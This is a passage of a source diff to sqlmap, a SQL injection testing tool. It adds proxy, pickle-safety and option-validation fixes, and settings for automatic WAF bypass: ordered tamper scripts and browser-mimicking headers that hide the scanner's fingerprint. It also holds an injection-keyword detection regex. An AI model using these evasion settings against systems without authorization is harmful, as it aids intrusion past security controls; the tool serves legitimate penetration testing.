     kb.httpErrorCodes = {}
     kb.inferenceMode = False
     kb.ignoreCasted = None
@@ -2187,6 +2210,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.pageTemplates = dict()
     kb.pageEncoding = DEFAULT_PAGE_ENCODING
     kb.pageStable = None
+    kb.pageStructurallyStable = None
     kb.partRun = None
     kb.permissionFlag = False
     kb.place = None
@@ -2236,6 +2260,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.udfFail = False
     kb.unionDuplicates = False
     kb.unionTemplate = None
+    kb.wafBypass = None
     kb.webSocketRecvCount = None
     kb.wizardMode = False
     kb.xpCmdshellAvailable = False
@@ -2506,9 +2531,11 @@ def _setProxyList():
         return
 
     conf.proxyList = []
-    for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
-        _, type_, address, port = match.groups()
-        conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port))
+    # Note: preserve an explicit scheme and any 'user:pass@' credentials (entries use the same format
+    # as --proxy); otherwise a SOCKS proxy is silently downgraded to HTTP and proxy auth is dropped
+    for match in re.finditer(r"(?i)((http[^:\s]*|socks[^:\s]*)://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
+        _, type_, cred, address, port = match.groups()
+        conf.proxyList.append("%s://%s%s:%s" % (type_ or "http", ("%s@" % cred) if cred else "", address, port))
 
 def _setTorProxySettings():
     if not conf.tor:
@@ -2578,6 +2605,7 @@ def _setHttpOptions():
     if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")):
         try:
             from websocket import ABNF
+            ABNF # require websocket-client, not any 'websocket' module
         except ImportError:
             errMsg = "sqlmap requires third-party module 'websocket-client' "
             errMsg += "in order to use WebSocket functionality"
@@ -2639,6 +2667,10 @@ def _basicOptionValidation():
         errMsg = "switch '--text-only' is incompatible with switch '--null-connection'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.http2 and any((conf.tor, conf.proxy and conf.proxy.lower().startswith("socks"))):
+        errMsg = "HTTP/2 support is currently incompatible with SOCKS/Tor proxies"
+        raise SqlmapSyntaxException(errMsg)
+
     if conf.uValues and conf.uChar:
         errMsg = "option '--union-values' is incompatible with option '--union-char'"
         raise SqlmapSyntaxException(errMsg)
@@ -2671,6 +2703,20 @@ def _basicOptionValidation():
         errMsg = "switch '--dump' is incompatible with switch '--search'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.alert and os.environ.get("SQLMAP_UNSAFE_ALERT") != '1':
+        errMsg = "for security reasons, to prevent execution of potentially malicious "
+        errMsg += "OS commands via configuration files or copy-paste attacks, "
+        errMsg += "the '--alert' option requires the environment variable "
+        errMsg += "'SQLMAP_UNSAFE_ALERT=1' to be explicitly set"
+        raise SqlmapSystemException(errMsg)
+
+    if conf.evalCode and os.environ.get("SQLMAP_UNSAFE_EVAL") != '1':
+        errMsg = "for security reasons, to prevent execution of potentially malicious "
+        errMsg += "Python code via configuration files or copy-paste attacks, "
+        errMsg += "the '--eval' option requires the environment variable "
+        errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set"
+        raise SqlmapSystemException(errMsg)
+
     if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)):
         errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'"
         raise SqlmapSyntaxException(errMsg)
@@ -2813,7 +2859,7 @@ def _basicOptionValidation():
         raise SqlmapSyntaxException(errMsg)
 
     if conf.csrfToken and conf.threads > 1:
-        errMsg = "option '--csrf-url' is incompatible with option '--threads'"
+        errMsg = "option '--csrf-token' is incompatible with option '--threads'"
         raise SqlmapSyntaxException(errMsg)
 
     if conf.requestFile and conf.url and conf.url != DUMMY_URL:

lib/core/optiondict.py

@@ -79,6 +79,7 @@ optDict = {
         "optimize": "boolean",
         "predictOutput": "boolean",
         "keepAlive": "boolean",
+        "noKeepAlive": "boolean",
         "nullConnection": "boolean",
         "threads": "integer",
     },
@@ -100,6 +101,7 @@ optDict = {
         "prefix": "string",
         "suffix": "string",
         "tamper": "string",
+        "proof": "boolean",
     },
 
     "Detection": {
@@ -116,6 +118,11 @@ optDict = {
 
     "Techniques": {
         "technique": "string",
+        "nosql": "boolean",
+        "graphql": "boolean",
+        "ldap": "boolean",
+        "xpath": "boolean",
+        "ssti": "boolean",
         "timeSec": "integer",
         "uCols": "string",
         "uChar": "string",
@@ -151,6 +158,7 @@ optDict = {
         "search": "boolean",
         "getComments": "boolean",
         "getStatements": "boolean",
+        "getProcs": "boolean",
         "db": "string",
         "tbl": "string",
         "col": "string",
@@ -235,6 +243,7 @@ optDict = {
         "postprocess": "string",
         "preprocess": "string",
         "repair": "boolean",
+        "reportJson": "string",
         "saveConfig": "string",
         "scope": "string",
         "skipHeuristics": "boolean",
@@ -268,10 +277,12 @@ optDict = {
     "Hidden": {
         "dummy": "boolean",
         "disablePrecon": "boolean",
+        "noHuffman": "boolean",
         "profile": "boolean",
         "forceDns": "boolean",
         "murphyRate": "integer",
         "smokeTest": "boolean",
+        "apiTest": "boolean",
     },
 
     "API": {

lib/core/patch.py

@@ -6,7 +6,6 @@ See the file 'LICENSE' for copying permission
 """
 
 import codecs
-import collections
 import difflib
 import inspect
 import logging
@@ -71,7 +70,8 @@ def dirtyPatches():
 
     # add support for inet_pton() on Windows OS
     if IS_WIN:
-        from thirdparty.wininetpton import win_inet_pton
+        from thirdparty.wininetpton.win_inet_pton import inject_into_socket
+        inject_into_socket()
 
     # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
     codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)
@@ -85,7 +85,7 @@ def dirtyPatches():
         _http_client.LineAndFileWrapper.readline = _
 
     # to prevent too much "guessing" in case of binary data retrieval
-    thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
+    thirdparty.chardet.universaldetector.UniversalDetector.MINIMUM_THRESHOLD = 0.90
 
     match = re.search(r" --method[= ](\w+)", " ".join(sys.argv))
     if match and match.group(1).upper() != PLACE.POST:
@@ -178,6 +178,52 @@ def dirtyPatches():
         et.parse = _safe_parse
         et._patched = True
 
+    import io
+    import pickle
+    if not getattr(pickle, "_patched", False):
+        class RestrictedUnpickler(pickle.Unpickler):
+            # Note: allowlist (not blacklist) - a module blacklist is bypassable (e.g. importlib/ctypes/operator), so only
+            # explicitly-safe builtin data types and sqlmap's own (and bundled) classes are permitted to be unpickled
+            def find_class(self, module, name):
+                # Note: protocol-2 pickling of a 'bytes' value on Python 3 emits a _codecs.encode global; allow that one
+                # (it only runs a codec, e.g. latin1 - it cannot execute arbitrary code) so serialized values containing
+                # bytes round-trip. Everything else from _codecs (e.g. lookup) stays blocked by the rule below.
+                if module == "_codecs" and name == "encode":
+                    pass
+                # safe builtin data types only (blocks eval/exec/__import__/getattr/etc.)
+                elif module in ("builtins", "__builtin__"):
+                    if name not in ("set", "frozenset", "dict", "list", "tuple", "int", "float", "bool", "str", "bytes", "bytearray", "object", "NoneType", "complex"):
+                        raise ValueError("unpickling of '%s.%s' is forbidden" % (module, name))
+                # everything else must be one of sqlmap's own (or bundled) classes (e.g. lib.core.datatype.AttribDict)
+                elif (module or "").split(".")[0] not in ("lib", "plugins", "thirdparty"):
+                    raise ValueError("unpickling of module '%s' is forbidden" % module)
+
+                # Python 2/3 method resolution
+                if hasattr(pickle.Unpickler, "find_class"):
+                    return pickle.Unpickler.find_class(self, module, name)
+
+                __import__(module)
+                return getattr(sys.modules[module], name)
+
+        def _safe_loads(data):
+            try:
+                stream = io.BytesIO(data)
+            except TypeError:
+                stream = io.StringIO(data)
+
+            return RestrictedUnpickler(stream).load()
+
+        pickle.loads = _safe_loads
+        pickle._patched = True
+
+    try:
+        import cPickle
+        if not getattr(cPickle, "_patched", False):
+            cPickle.loads = pickle.loads
+            cPickle._patched = True
+    except ImportError:
+        pass
+
     try:
         import builtins
     except ImportError:

lib/core/readlineng.py

@@ -7,15 +7,21 @@ See the file 'LICENSE' for copying permission
 
 _readline = None
 try:
-    from readline import *
     import readline as _readline
 except:
     try:
-        from pyreadline import *
         import pyreadline as _readline
     except:
         pass
 
+if _readline:
+    _symbols = getattr(_readline, "__all__", None)
+    if _symbols is None:
+        _symbols = (name for name in dir(_readline) if not name.startswith("_"))
+
+    for _symbol in _symbols:
+        globals()[_symbol] = getattr(_readline, _symbol)
+
 from lib.core.data import logger
 from lib.core.settings import IS_WIN
 from lib.core.settings import PLATFORM

lib/core/replication.py

@@ -23,8 +23,11 @@ class Replication(object):
     """
 
     def __init__(self, dbpath):
+        self.dbpath = dbpath
+        self.connection = None
+        self.cursor = None
+
         try:
-            self.dbpath = dbpath
             self.connection = sqlite3.connect(dbpath)
             self.connection.isolation_level = None
             self.cursor = self.connection.cursor()
@@ -120,8 +123,17 @@ class Replication(object):
         return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless)
 
     def __del__(self):
-        self.cursor.close()
-        self.connection.close()
+        try:
+            if self.cursor is not None:
+                self.cursor.close()
+        except Exception:
+            pass
+
+        try:
+            if self.connection is not None:
+                self.connection.close()
+        except Exception:
+            pass
 
     # sqlite data types
     NULL = DataType('NULL')

lib/core/settings.py

@@ -20,7 +20,7 @@ from lib.core.enums import OS
 from thirdparty import six
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.10.3.0"
+VERSION = "1.10.7.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -54,6 +54,38 @@ IPS_WAF_CHECK_RATIO = 0.5
 # Timeout used in heuristic check for WAF/IPS protected targets
 IPS_WAF_CHECK_TIMEOUT = 10
 
+# HTTP status codes a WAF/IPS typically returns when it blocks a request. Used to reject a boolean
+# "injection" whose only TRUE/FALSE difference is the always-true payload being blocked (a status-code
+# false positive) rather than the back-end actually answering.
+WAF_BLOCK_HTTP_CODES = (403, 406, 429, 451, 501, 503)
+
+# Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value
+# (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS
+# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection
+# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded.
+WAF_BYPASS_TAMPERS = (
+    "equaltolike",
+    "between",
+    "greatest",
+    "charencode",
+    "randomcase",
+    "space2comment",
+    "versionedkeywords",
+    "space2hash",
+)
+
+# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass
+WAF_BYPASS_MAX_TRIALS = 8
+
+# Browser-like request headers applied alongside the random (non-scanner) User-Agent during
+# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a
+# non-browser tell that header/behavioral WAFs key on, so the whole request fingerprint - not just
+# the UA - is made to look like a real browser. Kept standard so it cannot skew content negotiation.
+WAF_BYPASS_HTTP_HEADERS = (
+    ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
+    ("Accept-Language", "en-US,en;q=0.5"),
+)
+
 # Timeout used in checking for existence of live-cookies file
 LIVE_COOKIES_TIMEOUT = 120
 
@@ -62,7 +94,7 @@ LOWER_RATIO_BOUND = 0.02
 UPPER_RATIO_BOUND = 0.98
 
 # For filling in case of dumb push updates
-DUMMY_JUNK = "theim1Ga"
+DUMMY_JUNK = "Phah5jue"
 
 # Markers for special cases when parameter values contain html encoded characters
 PARAMETER_AMP_MARKER = "__PARAMETER_AMP__"
@@ -148,6 +180,29 @@ DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100
 # Regular expression used for extracting content from "textual" tags
 TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h[1-6]|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P<result>[^<]+)"
 
+# Regular expressions used for extracting a value-free structural skeleton of a (HTML) page (tag
+# names and class/id attribute hooks), for structure-aware comparison of pages whose textual
+# content is dynamic but whose layout is stable
+STRUCTURAL_TAG_REGEX = r"(?si)<\s*([a-z][a-z0-9]*)((?:\s+[^<>]*)?)/?>"
+STRUCTURAL_CLASS_REGEX = r"""(?si)\bclass\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""
+STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""
+
+# Minimum response size (in bytes) for the 'skip-read' NULL connection method to be used. Unlike
+# HEAD/Range, 'skip-read' leaves the body unread and must therefore close the connection (an unread
+# body cannot be reused), paying a fresh TCP/TLS handshake per request. That only pays off when
+# avoiding the body transfer outweighs the reconnect - i.e. for large responses; for small ones it
+# is a net slowdown, so it is gated by this size
+NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024
+
+# Coarse plausibility band for a NULL connection method's reported length, relative to the known
+# original page length (len(kb.originalPage)). A method is accepted only if its length falls within
+# it; this rejects a method whose length does not track the real GET response (e.g. HEAD returning
+# 'Content-Length: 0', HEAD served from a different code path, or sneaked-in compression). The band
+# is deliberately generous (byte-vs-character size and moderate page dynamism are expected, and a
+# false reject merely forgoes the optimization, which is safe) - it only catches gross mismatches
+NULL_CONNECTION_LENGTH_TOLERANCE_LOW = 0.5
+NULL_CONNECTION_LENGTH_TOLERANCE_HIGH = 4.0
+
 # Regular expression used for recognition of IP addresses
 IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b"
 
@@ -194,6 +249,9 @@ MAX_TECHNIQUES_PER_VALUE = 2
 # In case of missing piece of partial union dump, buffered array must be flushed after certain size
 MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024
 
+# Initial number of rows aggregated per request when a full (single-shot) JSON-agg UNION dump is too large and falls back to chunked windowed aggregation (halved adaptively if a chunk response still gets truncated)
+JSON_AGG_CHUNK_ROWS = 1000
+
 # Maximum size of cache used in @cachedmethod decorator
 MAX_CACHE_ITEMS = 1024
 
@@ -279,7 +337,7 @@ FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CO
 MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
 SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb")
 DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST")
-HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
+HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOBS")
 H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
 MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
@@ -298,6 +356,7 @@ FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA")
 RAIMA_SYSTEM_DBS = ("",)
 VIRTUOSO_SYSTEM_DBS = ("",)
 SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
+SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS")
 
 # Note: (<regular>) + (<forks>)
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -329,13 +388,14 @@ FRONTBASE_ALIASES = ("frontbase",)
 RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis")
 VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso")
 SNOWFLAKE_ALIASES = ("snowflake",)
+SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner")
 
 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
 
-SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES)
+SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES)
 SUPPORTED_OS = ("linux", "windows")
 
-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES))
 
 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
@@ -349,6 +409,7 @@ H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
 VERTICA_DEFAULT_SCHEMA = "public"
 MCKOI_DEFAULT_SCHEMA = "APP"
 CACHE_DEFAULT_SCHEMA = "SQLUser"
+SPANNER_DEFAULT_SCHEMA = "default"
 
 # DBMSes where OFFSET mechanism starts from 1
 PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE))
@@ -417,7 +478,6 @@ FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"\bin (?P<resul
 
 # Regular expressions used for parsing error messages (--parse-errors)
 ERROR_PARSING_REGEXES = (
-    r"(?P<result>(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)",
     r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P<result>[^<]+)",
     r"<b>[^<]{0,100}(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>[^<]+)",
     r"(?m)^\s{0,100}(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
@@ -428,7 +488,9 @@ ERROR_PARSING_REGEXES = (
     r"Code: \d+. DB::Exception: (?P<result>[^<>\n]*)",
     r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
     r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)",
-    r"(?P<result>query error: SELECT[^<>]+)"
+    r"(?P<result>query error: SELECT[^<>]+)",
+    r"(?P<result>(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)",
+    r'"(?:errmsg|errorMessage|reason|msg)"\s*:\s*"(?P<result>[^"]+)"'      # generic JSON error-message field (NoSQL document/REST back-ends)
 )
 
 # Regular expression used for parsing charset info from meta html headers
@@ -471,11 +533,38 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
 SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*\b%s\b[^\s]*)\s"
 
 # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
-SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred", "sqlQuery", "requestFile", "csrfToken", "csrfData", "csrfUrl", "testParameter")
+SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "authCred", "sqlQuery", "requestFile", "csrfToken", "csrfData", "csrfUrl", "testParameter")
 
 # Maximum number of threads (avoiding connection issues and/or DoS)
 MAX_NUMBER_OF_THREADS = 10
 
+# Wrapper applied to MySQL UNION-based retrieval values to neutralize "Illegal mix of collations" errors (e.g. utf8mb4_0900_ai_ci tables vs a utf8mb4_general_ci connection on MySQL 8+). CONVERT normalizes the (possibly binary) charset to utf8mb4 and the explicit COLLATE then wins the UNION column merge (highest coercibility)
+MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin"
+
+# Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size)
+KEYSET_MIN_ROWS = 1000
+
+# Number of consecutive Huffman (set-membership) character attempts allowed to decline/escape without a single validated success before the technique latches itself off (safety against trimmed/blocked long IN() payloads)
+HUFFMAN_PROBE_LIMIT = 8
+
+# Cold-start (prior) weights for the order-0 Huffman model used in adaptive blind retrieval. Gently
+# biases the initial tree toward bytes that dominate real DBMS output (lowercase text, digits, common
+# identifier punctuation) so SHORT extractions don't pay the full balanced-tree depth before the online
+# frequency model warms up. Magnitude is small so genuine learned counts overtake it within a few dozen
+# characters (kept low-risk for uniform/hex columns: hex digits 0-9a-f are themselves favored here).
+HUFFMAN_PRIOR_WEIGHTS = {}
+for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), (3, "_.-/@:,'")):
+    for _char in _chars:
+        HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight
+
+# Bounds for feeding extracted values back into the "good samaritan" (--predict-output) common-output
+# pool for their enumeration context, so later same-context items that share structure (e.g.
+# wp_posts / wp_users / wp_options ...) are predicted faster. MAX_LENGTH keeps large data cells from
+# bloating/polluting the pool (identifiers are short); MAX_ITEMS bounds per-context growth so a huge
+# enumeration cannot make the per-character prediction scan costly. Misses always fall back to bisection.
+PREDICTION_FEEDBACK_MAX_LENGTH = 128
+PREDICTION_FEEDBACK_MAX_ITEMS = 10000
+
 # Minimum range between minimum and maximum of statistical set
 MIN_STATISTICAL_RANGE = 0.01
 
@@ -549,7 +638,7 @@ UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
 RESTORE_MERGED_OPTIONS = ("col", "db", "dbms", "os", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
 
 # Parameters to be ignored in detection phase (upper case)
-IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN")
+IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "__SCROLLPOSITIONX", "__SCROLLPOSITIONY", "__PREVIOUSPAGE", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "PHPSESSID", "SESSID", "CFID", "CFTOKEN")
 
 # Regular expression used for recognition of ASP.NET control parameters
 ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$"
@@ -621,7 +710,7 @@ DUMMY_SQL_INJECTION_CHARS = ";()'"
 DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b"
 
 # Extensions skipped by crawler
-CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", 